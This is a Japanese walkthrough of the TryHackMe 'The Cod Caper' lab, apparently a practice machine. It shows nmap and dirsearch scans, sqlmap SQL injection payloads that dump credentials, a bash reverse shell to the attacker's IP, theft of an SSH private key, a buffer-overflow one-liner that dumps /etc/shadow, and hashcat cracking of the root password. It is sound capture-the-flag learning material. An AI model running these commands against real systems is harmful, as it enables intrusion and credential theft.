概要
TryHackMe「The Cod Caper」のWalkthroughです。
Task2
ポートスキャンを実行します。
$ nmap -Pn -T4 -sVC -A -p- 10.10.53.206 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 6d:2c:40:1b:6c:15:7c:fc:bf:9b:55:22:61:2a:56:fc (RSA)
| 256 ff:89:32:98:f4:77:9c:09:39:f5:af:4a:4f:08:d6:f5 (ECDSA)
|_ 256 89:92:63:e7:1d:2b:3a:af:6c:f9:39:56:5b:55:7e:f9 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
22 | ssh | OpenSSH 7.2p2 |
80 | http | Apache httpd 2.4.18 |
Q1.How many ports are open on the target machine?
A.2
Q2.What is the http-title of the web server?
Hint.http-title is a default script?
A.Apache2 Ubuntu Default Page: It works
Q3.What version is the ssh service?
A.OpenSSH 7.2p2 Ubuntu 4ubuntu2.8
Q4.What is the version of the web server?
A.Apache/2.4.18
Task3
Q1.What is the name of the important file on the server?
ディレクトリスキャンをします。
$ dirsearch -u http://10.10.53.206
[03:21:02] 200 - 243B - /administrator.php
/administrator.php
にアクセスすると、ログイン画面が表示されました。
A.administrator.php
Task4
Q1.What is the admin username?
Hint.It is a login form
ログインのリクエストをファイルに保存し、sqlmapでインジェクションに成功しました。
$ sqlmap -r login_request.txt --batch --dbs --risk 3
sqlmap identified the following injection point(s) with a total of 393 HTTP(s) requests:
---
Parameter: username (POST)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: username=a' RLIKE (SELECT (CASE WHEN (1764=1764) THEN 0x61 ELSE 0x28 END))-- umLy&password=a
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: username=a' AND GTID_SUBSET(CONCAT(0x7170717871,(SELECT (ELT(9091=9091,1))),0x71716a6a71),9091)-- Ulkd&password=a
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=a' AND (SELECT 7873 FROM (SELECT(SLEEP(5)))qTmg)-- Mbpv&password=a
---
[04:51:00] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 16.04 or 16.10 (yakkety or xenial)
web application technology: Apache 2.4.18
back-end DBMS: MySQL >= 5.6
[04:51:03] [INFO] fetching database names
[04:51:04] [INFO] retrieved: 'information_schema'
[04:51:04] [INFO] retrieved: 'mysql'
[04:51:04] [INFO] retrieved: 'performance_schema'
[04:51:05] [INFO] retrieved: 'sys'
[04:51:05] [INFO] retrieved: 'users'
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[*] users
users
データベースにusers
テーブルがあると分かりました。
$ sqlmap -r login_request.txt --batch --dbms=mysql -D users --tables --risk 3
Database: users
[1 table]
+-------+
| users |
+-------+
users
テーブルからアカウント情報を入手できました。
$ sqlmap -r login_request.txt --batch --dbms=mysql -D users -T users --dump --risk 3
Database: users
Table: users
[1 entry]
+------------+----------+
| password | username |
+------------+----------+
| secretpass | pingudad |
+------------+----------+
A.pingudad
Q2.What is the admin password?
A.secretpass
Q3.How many forms of SQLI is the form vulnerable to?
A.3
Task5
Q1.How many files are in the current directory?
Username: pingudad
,Password: secretpass
でログインすると、コマンドを実行できるページが用意されています。
Netcatでリッスンします。
$ nc -lvnp 1234
listening on [any] 1234 ...
リバースシェルのコマンドをフォームから実行します。
bash -c 'bash -i >& /dev/tcp/10.6.55.144/1234 0>&1'
www-data
でシェルを張れました。
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.248.211] 55944
bash: cannot set terminal process group (710): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/var/www/html$ whoami
whoami
www-data
TTYの設定をします。
$ python3 -c "import pty;pty.spawn('/bin/bash')"
/var/www/html
のディレクトリを見ると、ファイルが3つあります。
www-data@ubuntu:/var/www/html$ ls -la
ls -la
total 28
drwxr-xr-x 2 root root 4096 Jan 16 2020 .
drwxr-xr-x 3 root root 4096 Jan 15 2020 ..
-rw-rw-r-- 1 root root 378 Jan 15 2020 2591c98b70119fe624898b1e424b5e91.php
-rw-r--r-- 1 root root 1282 Jan 15 2020 administrator.php
-rw-r--r-- 1 root root 10918 Jan 15 2020 index.html
A.3
Q2.Do I still have an account
Hint.Check /etc/passwd
papa
,pingu
のアカウントが用意されています。
$ ls -la /home
ls -la /home
total 16
drwxr-xr-x 4 root root 4096 Jan 15 2020 .
drwxr-xr-x 24 root root 4096 Jan 15 2020 ..
drwxr-xr-x 5 papa papa 4096 Jan 15 2020 papa
drwxrwxrwx 6 pingu pingu 4096 Jan 20 2020 pingu
A.yes
Q3.What is my ssh password?
/home/pingu/.ssh/id_rsa
からSSHの秘密鍵を入手できました。
$ cat /home/pingu/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEArfwVtcBusqBrJ02SfHLEcpbFcrxUVFezLYEUUFTHRnTwUnsU
aHa3onWWNQKVoOwtr3iaqsandQoNDAaUNocbxnNoJaIAg40G2FEI49wW1Xc9porU
(中略)
pOq0JjdnM+KJtB4ae8UazL0cSJ52GYbsNABrcGEZg6m5pDJD3MM=
-----END RSA PRIVATE KEY-----
問題文を読むと、秘密鍵のパスワードがどこかのファイルに隠されているようです。
find
コマンドでパスワードファイルを探すと、/var/hidden/pass
を発見しました。
$ find / -name "*pass*" 2>/dev/null
/var/hidden/pass
パスワードを入手できました。
$ cat /var/hidden/pass
cat /var/hidden/pass
pinguapingu
A.pinguapingu
Task6
Q1.What is the interesting path of the interesting suid file
/opt/secret/root
を発見しました。
$ ls -la /opt/secret/
total 16
drwxrwxrwx 2 papa adm 4096 Jan 16 2020 .
drwxrwxrwx 3 root root 4096 Jan 15 2020 ..
-r-sr-xr-x 1 root papa 7516 Jan 16 2020 root
A./opt/secret/root
Task10
Q1.What is the root password!
Task7~9を進めていくと/etc/shadow
の内容を閲覧出来ました。
$ python -c 'print "A"*44 + "\xcb\x84\x04\x08"' | /opt/secret/root
root:$6$rFK4s/vE$zkh2/RBiRZ746OW3/Q/zqTRVfrfYJfFjFc2/q.oYtoF1KglS3YWoExtT3cvA3ml9UtDS8PFzCk902AsWx00Ck.:18277:0:99999:7:::
daemon:*:17953:0:99999:7:::
bin:*:17953:0:99999:7:::
sys:*:17953:0:99999:7:::
sync:*:17953:0:99999:7:::
games:*:17953:0:99999:7:::
man:*:17953:0:99999:7:::
lp:*:17953:0:99999:7:::
mail:*:17953:0:99999:7:::
news:*:17953:0:99999:7:::
uucp:*:17953:0:99999:7:::
proxy:*:17953:0:99999:7:::
www-data:*:17953:0:99999:7:::
backup:*:17953:0:99999:7:::
list:*:17953:0:99999:7:::
irc:*:17953:0:99999:7:::
gnats:*:17953:0:99999:7:::
nobody:*:17953:0:99999:7:::
systemd-timesync:*:17953:0:99999:7:::
systemd-network:*:17953:0:99999:7:::
systemd-resolve:*:17953:0:99999:7:::
systemd-bus-proxy:*:17953:0:99999:7:::
syslog:*:17953:0:99999:7:::
_apt:*:17953:0:99999:7:::
messagebus:*:18277:0:99999:7:::
uuidd:*:18277:0:99999:7:::
papa:$1$ORU43el1$tgY7epqx64xDbXvvaSEnu.:18277:0:99999:7:::
Segmentation fault
Hashcatでハッシュ値を解析し、パスワードを入手できました。
$ hashcat -a 0 -m 1800 root_hash /usr/share/wordlists/rockyou.txt
$6$rFK4s/vE$zkh2/RBiRZ746OW3/Q/zqTRVfrfYJfFjFc2/q.oYtoF1KglS3YWoExtT3cvA3ml9UtDS8PFzCk902AsWx00Ck.:love2fish
A.love2fish